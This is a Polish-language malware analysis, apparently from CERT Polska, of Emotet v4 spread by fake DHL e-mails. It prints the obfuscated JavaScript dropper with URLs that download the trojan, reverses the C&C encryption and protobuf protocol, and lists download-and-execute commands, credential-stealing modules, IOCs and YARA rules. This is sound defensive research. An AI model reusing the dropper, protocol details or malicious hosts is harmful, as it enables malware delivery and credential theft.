Wstęp
Emotet jest modularnym koniem trojańskim, który po raz pierwszy został zaobserwowany w czerwcu 2014 roku przez Trend Micro. Ten rodzaj złośliwego oprogramowania jest ściśle powiązany z innymi rodzajami, takimi jak Geodo, Bugat czy Dridex, które uznawane są za warianty należące do jednej rodziny.
Zadebiutował jako zaawansowany banker – u swych początków wykorzystywany był do wykradania pieniędzy z kont zainfekowanych ofiar. Jego początkowa wersja była wymierzona w klientów niemieckich i austriackich banków. Przejmowanie kont odbywało się z użyciem techniki Man-in-the-Browser, polegającej na przejęciu kontroli nad przeglądarką i przechwytywaniu komunikacji sieciowej przez podsłuchiwanie wywołań odpowiednich funkcji systemowych.
W kolejnej wersji (v2) arsenał Emoteta został uzupełniony o automatyczne wyprowadzanie pieniędzy z kont przy pomocy systemów ATS (Automatic Transfer System) (dokładniejszy opis tej techniki można znaleźć na 20 stronie raportu CERT Polska z 2013 r.). Jest to sposób powszechnie wykorzystywany również w innych bankerach, m.in. w ISFB (Gozi) i Tinbie.
Na początku kwietnia 2017r. zaobserwowaliśmy szeroką kampanię spamową, w której były dystrybuowane fałszywe maile pochodzące rzekomo od firmy kurierskiej DHL. Maile zawierały odnośnik prowadzący do nieznanego wcześniej, nowego wariantu złośliwego oprogramowania znanego pod nazwą Emotet.
W przypadku tej kampanii, zmiany w kodzie oprogramowania, a także w sposobie komunikacji z serwerami Command&Control wskazywały, iż mamy do czynienia z Emotetem w wersji 4. Z tego względu postanowiliśmy szczegółowo przeanalizować to zagrożenie.
Dropper
Skrypt do którego prowadziły odnośniki zawarte w mailach nie był mocno zobfuskowany. Łańcuchy znaków zostały jedynie odwrócone, stąd można było bez większego trudu odczytać adresy URL, prowadzące do pliku zawierającego omawiany malware.
$uaU$Fh71K_E6TQAdMPz = function(n) { | |
if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == "string") return $uaU$Fh71K_E6TQAdMPz.list[n].split("").reverse().join(""); | |
return $uaU$Fh71K_E6TQAdMPz.list[n]; | |
}; | |
$uaU$Fh71K_E6TQAdMPz.list = [ | |
"tamroF eliF detroppuS toN", | |
"llehS.tpircSW", | |
"tcejbOmetsySeliF.gnitpircS", | |
"/1506daolnwod/ku.oc.aidemlaerehte//:ptth", | |
"/7751daolnwod/moc.erawtfoscetni//:ptth", | |
"PTTHLMX.2LMXSM", | |
"/3030daolnwod/moc.yhpargotohpnivrinad//:ptth", | |
"/3946daolnwod/moc.aidemsretsacdnarb//:ptth", | |
"/4769daolnwod/lp.moc.hcetka//:ptth", | |
"maertS.BDODA", | |
".)dedoced yltcerroc t'nsaw dna tnemhcatta liame na sa tnes saw ti ,elpmaxe rof( deriaper eb ton dluoc dna degamad si elif ehT .tnemucod siht gninepo rorre na saw erehT" ]; | |
... |
Adresy URL prowadzące do Emoteta:
hxxp://intecsoftware.com/download1577/
hxxp://danirvinphotography.com/download0303/
hxxp://brandcastersmedia.com/download6493/
hxxp://aktech.com.pl/download9674/
Moduł główny
Emotet jest złośliwym oprogramowaniem o strukturze modułowej. Podstawowym zadaniem pobieranego przez dropper pliku wykonywalnego jest rejestracja bota i pobranie modułów pełniących konkretne zadania. Złośliwe oprogramowanie dostarczane jest w postaci spakowanej przy pomocy generycznego packera, który w zamierzeniu ma zmylić silniki antywirusowe i utrudnić analizę. Po rozpakowaniu, sterowanie przekazywane jest do głównego kodu.
Na samym początku ładowane są biblioteki i rozwiązywane są adresy funkcji WinAPI, wykorzystywane przez malware m.in. do szyfrowania i komunikacji z serwerem Command&Control. Nazwy potrzebnych funkcji i bibliotek przechowywane są w postaci tablic wartości funkcji skrótu z nazwy danego elementu. Emotet wykorzystuje w tym celu prostą funkcję haszującą sdbm. Aby dodatkowo zróżnicować tablice, zawarte w nich wartości XORowane są dodatkowo ze stałą wartością określoną w pliku.
int hashValue = 0; | |
for ( char c = *libraryName; *libraryName; c = *(++libraryName) ) | |
{ | |
hashValue = c + 65599 * hashValue; | |
} | |
hashValue = xorKey ^ hashValue; |
Charakterystyczne łańcuchy znaków również nie występują jawnie – są dekodowane na czas użycia przy pomocy 4-bajtowego klucza XOR skojarzonego z danym łańcuchem.
Główny plik wykonywalny zawiera również listę adresów IP i portów, kierujących do serwerów C&C. Podobnie jak w poprzednich wersjach – komunikacja z serwerem kontrolera przebiega z użyciem protokołu HTTP.
Szyfrowanie komunikacji
Największe zmiany względem poprzedniej wersji Emoteta można zaobserwować w komunikacji. Wcześniej do szyfrowania wykorzystywany był algorytm RC4. W wersji czwartej wykorzystywany jest 128-bitowy AES.
Przykładowe żądanie wygląda następująco:
Cookie: DD29=e8fd7YpIy2Ui+U7bz1/cQD9bH4KHshzaN2SpKoPEnC1D85K4Zrwdb6dBoHoDC5GgvcgecLN20kpk1lQxus6AJEiutWK4hBSWFbQUmtyr3LxI+/3MFdKn1lo7nWyEw+sCzKL6y34njzJwoDwd3I5BJD0NqUL+iEnbB1EWXQhxcXihFeFS+TlRsuMxOl3Xmyo2p0FuHX+hyGoO19dzLpEMK1LhXGkCkha+kPGFqfxECUoQndFLiMRgXAj4Omw/Ywc6Ba+9d5fyZNLEKbtkxsfO3KmQSLoE4TkITRri1kSMCqnNlb7PTroCQmoJvRHBiEGla6VzgmCQ5tsspBIuaWc2ct9hX9c4SLZbTnW6mPjLIh4VeDJ7gNpwhedyLHcnr3GWjILLwFPk7RmgHglXXI2qEOXcwbRhtaNuI8RrkMQj37Rov147wEGBtt+GlQR9/9oFXoBXH9f6m5K4ULP3CEnDGGJVEtfkgt7yZ082wAIfVzow1szvMF4bF7MFaCPbHA9hygyf9Uc8GwDjM4CndFxUwROWmEgQKjIk24PIj5Y+oz4jF
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)
Host: 206.214.220.79:8080
Connection: Keep-Alive
Cache-Control: no-cache
Treść żądania zawarta jest w nagłówku Cookie. Nazwa „ciasteczka” generowana jest losowo i stanowi 16-bitową wartość zakodowaną szesnastkowo. Wartość ciasteczka zawiera żądanie zakodowane w Base64.
Wartość po odkodowaniu ma następującą strukturę:
Offset | Nazwa pola |
0..95 | Zaszyfrowany asymetrycznie 128-bitowy klucz AES wykorzystany do zaszyfrowania żądania |
96..115 | Wartość SHA1 z treści żądania w postaci jawnej |
116..x | Żądanie zaszyfrowane kluczem AES-128 w trybie CBC |
Przed wysłaniem żądania tworzone są dwa klucze. Najpierw ładowany jest 768-bitowy klucz publiczny RSA, zawarty w pliku wykonywalnym. Następnie generowany jest losowy klucz AES-128-CBC, który posłuży do szyfrowania komunikacji z C&C. Wygenerowany klucz AES szyfrowany jest kluczem RSA-768 i dołączany jest do żądania z użyciem PKCS#1v2.0 (OAEP).
Kryptografia zrealizowana jest przy pomocy zestawu funkcji Microsoft CryptoAPI.
Generowanie i importowanie kluczy:
if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) ) | |
{ | |
if ( fn_CryptDecodeObjectEx( | |
65537, | |
RSA_CSP_PUBLICKEYBLOB, | |
RSA_ENCODED, | |
RSA_ENCODED_LEN, | |
CRYPT_DECODE_ALLOC_FLAG, | |
0, | |
&prsaKey, | |
&prsaKeyLen) ) | |
{ | |
v2 = fn_CryptImportKey(cryptCtx->hProv, prsaKey, prsaKeyLen, 0, 0, &cryptCtx->hCryptRSA); | |
LocalFree(prsaKey); | |
if ( v2 ) | |
{ | |
if ( fn_CryptGenKey(cryptCtx->hProv, CALG_AES_128, CRYPT_MODE_CBC, &cryptCtx->hCryptAES) ) | |
{ | |
if ( fn_CryptCreateHash(cryptCtx->hProv, CALG_SHA1, 0, 0, &cryptCtx->hCryptSHA1) ) | |
return 1; | |
fn_CryptDestroyKey(cryptCtx->hCryptAES); | |
} | |
fn_CryptDestroyKey(cryptCtx->hCryptRSA); | |
} | |
} | |
fn_CryptReleaseContext(cryptCtx->hProv, 0); | |
} |
Szyfrowanie żądania:
if ( !fn_CryptDuplicateHash(cryptCtx->hCryptSHA1, 0, 0, &hHash) ) | |
goto ERROR; | |
memmove(pRequest, req->bufPtr, req->bufLen); | |
if ( fn_CryptEncrypt(cryptCtx->hCryptAES, hHash, 1, 0, pRequest, &dwRequestLen, dwBufLen) ) | |
{ | |
if ( fn_CryptExportKey(cryptCtx->hCryptAES, cryptCtx->hCryptRSA, 1, CRYPT_OAEP, encKey, &encKeyLen) ) | |
{ | |
memmove(encReq, encKey, 96) | |
if ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, &shaLen, 0) ) | |
result = 1; | |
} | |
// ... | |
} |
Komunikacja z C&C
Po przechwyceniu i odszyfrowaniu komunikatu z żądaniem – żądanie prezentowało się następująco:
W komunikacji wykorzystywany jest protokół bazujący na Google Protocol Buffers. Protocol Buffers stanowi rozwiązanie, które pozwala na proste budowanie protokołów, przy użyciu struktur definiowanych w języku protobuf. Na podstawie tak określonych struktur, Protocol Buffers generuje moduły, dostarczające parsery i serializery dla poszczególnych elementów protokołu, które mogą być bezpośrednio wykorzystane w aplikacji. Protocol Buffers pozwala na generowanie modułów dla wielu języków programowania. Wśród wspieranych języków jest m.in. Python, Java, PHP czy C++. Zastosowanie tego typu rozwiązań nie jest nowością w przypadku złośliwego oprogramowania i było wykorzystywane wcześniej, np. w Gootkicie.
W przypadku Emoteta, autor pokusił się o małą modyfikację. Jeden z elementów wykorzystuje niestandardowe kodowanie, przez co nie jest poprawnie odczytywany przez standardowe parsery (przykładowo protoc –decode_raw zwraca błąd).
Mimo to udało nam się odtworzyć strukturę protokołu:
syntax = "proto2"; | |
message RegistrationRequest { | |
message RegistrationRequestBody { | |
required string botId = 1; | |
required fixed32 osVersion = 2; | |
required string procList = 3; | |
required string mailClient = 4; | |
} | |
required int32 command = 1 [default = 16]; | |
optional RegistrationRequestBody registrationRequest = 2; | |
} |
W żądaniu rejestracji wysyłany jest numer komendy (16) i podstawowe dane o systemie operacyjnym, na którym bot zostaje uruchomiony. Poszczególne pola struktury RegistrationRequestBody zawierają następujące informacje:
Pole botId
Pole botId zawiera identyfikator bota unikalny dla danej maszyny. Jego wartość ma następującą strukturę:
np. CERTCERT_PL_32122958
- host_name – zawiera wyłącznie znaki z grupy 0..9a..zA..Z-, pozostałe zastąpione są znakami zapytania (?)
- locale – zawiera identyfikator kraju. W tym wypadku również myślnik „-” jest zastępowany „?”
- host_id – 32-bitowa heksadecymalna wartość funkcji skrótu sdbm (tej samej, która wykorzystywana jest przez API resolver). Skrót bazuje na wartości, która jest wynikiem operacji xor na nazwie aktualnie zalogowanego użytkownika i numerze seryjnym dysku, na którym zainstalowany jest system Windows.
Pole osVersion
32-bitowe pole określające wersję systemu operacyjnego Windows. Poszczególne bity zawierają informację o następujących elementach struktury OSVERSIONINFOEX
Bity | Opis pola |
0..3 | dwMajorVersion |
4..7 | dwMinorVersion |
8..11 | wServicePackMajor |
12..15 | wServicePackMinor |
16..19 | wProductType |
20..23 | SYSTEM_INFO.wProcessorArchitecture |
Pole procList
Zawiera listę nazw uruchomionych procesów, oddzielonych przecinkiem.
Pole mailClient
Informacje o wykorzystywanym kliencie poczty (wartość pozyskiwana z klucza rejestru HKLM\Software\Clients\Mail). Jeśli jest to Microsoft Outlook i jego plik DLL MAPI (Messaging Application Program Interface) jest 64-bitowy, do nazwy dodawany jest przyrostek „x64” po spacji.
Odpowiedź
W odpowiedzi C&C dostarcza listę modułów złośliwego oprogramowania. Bez względu na to czy zostało wysłane poprawne żądanie, czy nie – odpowiedź zawsze zawiera status 404 Not Found. Mimo to, przy poprawnym skomunikowaniu się z serwerem, w treści otrzymujemy zaszyfrowaną odpowiedź.
Server: nginx
Content-Type: text/html; charset=UTF-8
Content-Length: 728740
Connection: keep-alive
alc:*qLud<d^G̾>...
Struktura zaszyfrowanej odpowiedzi jest podobna do struktury żądania. Do szyfrowania wykorzystywany jest klucz AES wygenerowany przez próbkę i przekazany w żądaniu. Po odszyfrowaniu, otrzymujemy komunikat o strukturze odpowiadającej następującemu plikowi protobuf:
message Module | |
{ | |
required int32 type = 1; | |
required bytes blob = 2; | |
} | |
message ModuleResponse { | |
repeated Module modules = 1 [packed=true]; | |
required uint32 timestamp = 2; | |
} |
W tym przypadku wykorzystywane jest niestandardowe kodowanie, o którym wspomnieliśmy na samym początku. Otóż pole repeated Module modules = 1 [packed=true]; jest niedozwolone w kontekście języka struktur protobuf, ponieważ atrybut packed może być zastosowany wyłącznie do typów liczbowych, a nie do obiektów typu Message.
Przenosząc to na opis odpowiadający kodowaniu wykorzystywanemu w Protocol Buffers, odpowiedź ma następującą strukturę:
Typ | Nazwa | Komentarz |
TAG | tag | 0x0a |
VARINT | rozmiar wszystkich elementów ‚modules’ | |
VARINT | długość elementu | |
TAG | tag pola ‚type’ | 0x08 |
VARINT | ‚type’ | |
TAG | tag pola ‚blob’ | 0x12 |
VARINT | rozmiar pola ‚blob’ | |
RAW | zawartość ‚blob’ | |
Warto zaobserwować, iż elementy Module są powtarzane bez poprzedzającego tagu, co jest charakterystyczne dla kodowania packed.
Pole type
Pole type definiuje typ bufora i sposób w jaki należy potraktować jego zawartość. Może przyjmować następujące wartości:
Numer komendy | Opis |
1 | Zapisz do %TEMP% i wykonaj z parametrem -U |
2 | Podobnie jak ‚1’, ale bez dodatkowego parametru |
3 | Pobierz plik wykonywalny z URLa podanego w ‚blob’ |
4 | Użyj wewnętrznego loadera – załaduj i wykonaj plik wykonywalny zawarty w ‚blob’ |
5 | Deinstalacja – usuń skojarzony skrót ‚.lnk’ malware’u z folderu Autostart |
inne | Nie rób nic |
Moduły
W poprzednich wersjach wśród modułów zawarte były elementy odpowiadające za takie funkcjonalności jak:
- Wykradanie pieniędzy z kont bankowych (atak Man in the Browser)
- Bot rozsyłający spam
- Wykradanie maili i danych dostępowych do kont pocztowych
- Moduł DDoS
- Wykradanie historii i haseł z przeglądarki
W wersji 4 dystrybuowanej m.in. w ostatniej kampanii podszywającej się pod DHL, nie zaobserwowaliśmy modułu dość charakterystycznego dla Emoteta, czyli modułu bankowego. Zachowanie pozostałych modułów w większości pozostało jednak bez zmian. Poniżej zawarty jest opis modułów zaobserwowanych w omawianej kampanii:
Moduły wykradające dane dostępowe
Wśród zaobserwowanych modułów znajdowały się dwa, służące do wykradania haseł i danych dostępowych z przeglądarki i klienta pocztowego.
Oba moduły do swoich celów wykorzystywały oprogramowanie firmy NirSoft:
Obie aplikacje zawarte były bezpośrednio w pliku wykonywalnym modułów, zakodowane prostą operacją XOR z 32-bitowym kluczem. Po odkodowaniu i zapisaniu do %TEMP%, wykonywane były z parametrem /scomma [nazwa pliku tymczasowego], co prowadziło do zapisania wszystkich haseł do pliku w %TEMP% (nazwa generowana przez GetTempFileNameW). Następnie dane wysyłane były do serwera C&C.
Moduł spamowy
Trzeci zaobserwowany przez nas moduł, służący do rozsyłania spamu zawierającego link do Emoteta jest szczególnie interesujący. Na początku moduł prosi serwer C&C o szablon wiadomości, listę odbiorców i listę kont, z których ma być przeprowadzone rozsyłanie.
Struktura żądania wygląda następująco:
message SpamRequest { | |
message SpamRequestBody { | |
required string botId = 1; | |
required int32 flags = 2 [default = 3]; | |
required string additionalData = 3; | |
} | |
required int32 command = 1 [default = 18]; | |
optional SpamRequestBody spamRequest = 2; | |
} |
Pola flags i additionalData służą do określania, jakie dane zostały już pozyskane od kontrolera i jakich oczekujemy w odpowiedzi.
Odpowiedź serwera ma następującą strukturę:
message EmailAccount { | |
required int32 id = 1; | |
required string mail_server = 2; | |
required int32 port = 3; | |
required string login = 4; | |
required string password = 5; | |
required string email = 6; | |
} | |
message EmailRecipient { | |
required int32 id=1; | |
required string to_email=2; | |
optional string to_name=3; | |
required string from_email=4; | |
required string from_name=5; | |
} | |
message EmailResponse { | |
message Template { | |
required string from = 1 ; | |
required string subject = 2; | |
required string unk1 = 3; | |
required string content_type = 4; | |
required string msg = 5; | |
required string unk2 = 6; | |
} | |
optional Template template = 1; | |
repeated EmailAccount accounts = 2 [packed=true]; | |
optional EmailRecipient recipients = 3 [packed=true]; | |
required uint32 timestamp = 4; | |
} |
Do poszczególnych botów wysyłane są nie tylko dane dotyczące rozsyłanych wiadomości, ale również lista danych dostępowych do kont, z których ma być przeprowadzone rozsyłanie. Konta prawdopodobnie są pozyskiwane przez moduł wykorzystujący Mail PassView, opisany wcześniej.
Przykładowy szablon wiadomości:
Thank you for your order. The details can be found below.
Invoice attached: <a href="http://aceeight.com/Cust-000564-17424/">http://aceeight.com/Cust-000564-17424/<></a>
This e-mail was sent by <span style="text-transform: uppercase;"><>
<></span>
Podsumowanie
Podstawową funkcją Emoteta obserwowaną w niedawnych kampaniach jest wykradanie danych dostępowych. W przypadku infekcji zalecamy przede wszystkim zmianę haseł do wykorzystywanych skrzynek mailowych z poziomu lokalnego klienta poczty, a także haseł do serwisów, które były zapisane w przeglądarce.
Emotet jest wciąż aktywny w sieci i istnieje szansa, że ten rodzaj zagrożenia pojawi się w przyszłych kampaniach.
Informacje dodatkowe
- Szczegółowa analiza Kaspersky’ego z 2015 roku (Emotet v2 i v3)
- Raport CERT Orange z 2014r. opisujący kampanię poprzedniej wersji Emoteta.
Analiza oparta jest na próbce c53956c95100c5c0ba342977f8fc44fcad35aabc24ec44cb12bb83eee1ed34fa
Lista skrótów MD5 modułów (widoczne 13 kwietnia):
5b2d58b4104309ee9c93b455d39c7314
722268bad0d3a2e90aa148d52c60943e
Lista adresów C&C
hxxp://173.255.229.121:443
hxxp://178.79.177.141:443
hxxp://79.170.95.202:7080
hxxp://206.214.220.79:8080
hxxp://88.198.50.221:8080
hxxp://5.39.84.48:8080
hxxp://188.68.58.8:7080
hxxp://162.214.11.56:7080
hxxp://5.196.73.150:8080
hxxp://203.121.145.40:7080
hxxp://46.165.212.76:7080
Klucz publiczny C&C:
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ16QBv5Csq0eruFy4BvTcXmmIyeqUb3
vCCc8K/zOYOpL/Ww6FCdUpvPfs+RR/sLBalwtKmT14iRUaNmJdygnAKUIRWR1HNt
0rQRir0pD4QlkXlnZ9lZazTfyMV8BLCatwIDAQAB
-----END PUBLIC KEY-----
Reguły Yara:
{
meta:
author = "psrok1/mak"
module = "emotet"
strings:
$emotet4_rsa_public = { 8d ?? ?? 5? 8d ?? ?? 5? 6a 00 68 00 80 00 00 ff 35 [4] ff 35 [4] 6a 13 68 01 00 01 00 ff 15 [4] 85 }
$emotet4_cnc_list = { 39 ?? ?5 [4] 0f 44 ?? (FF | A3)}
condition:
all of them
}
rule emotet4: trojan
{
meta:
author = "psrok1"
module = "emotet"
strings:
$emotet4_x65599 = { 0f b6 ?? 8d ?? ?? 69 ?? 3f 00 01 00 4? 0? ?? 3? ?? 72 }
condition:
any of them and emotet4_basic
}
rule emotet4_spam : spambot
{
meta:
author="mak"
module="emotet"
strings:
$login="LOGIN" fullword
$startls="STARTTLS" fullword
$mailfrom="MAIL FROM:"
condition:
all of them and emotet4_basic
}